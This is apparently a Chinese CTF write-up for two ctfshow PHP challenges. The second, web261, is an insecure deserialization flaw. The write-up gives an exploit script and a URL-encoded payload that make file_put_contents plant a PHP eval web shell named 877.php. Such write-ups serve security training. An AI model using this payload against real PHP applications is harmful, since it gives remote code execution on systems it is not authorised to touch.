| web260源码:
 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
 这题刚开始想复杂了,仔细看了以后发现只用?ctfshow=ctfshow_i_love_36D就可以得到flag web261源码:
 <?php
highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
unserialize($_GET['vip']); 
 审计源码后发现在__destruct中存在file_put_contents函数,那么就代表可以利用它写入一句话,得到flag;
 但是存在unserialize()函数,会触发__wakeup()函数,进入判断,所以就需要绕过wakeup,只需要让对象的个数大于实际个数就可以;
 在file_put_contents前需要进行弱类型比较判断code是否==0x36d,也就是877即可绕过
 exp:
 <?php
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u='',$p=''){
        $this->username='877.php';
        $this->password='<?php eval($_POST[a]);?>';
    }
}
echo urlencode(serialize(new ctfshowvip));
?>
 得到payload: O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5Ba%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D
 ?vip传值后访问877.php是否存在
  |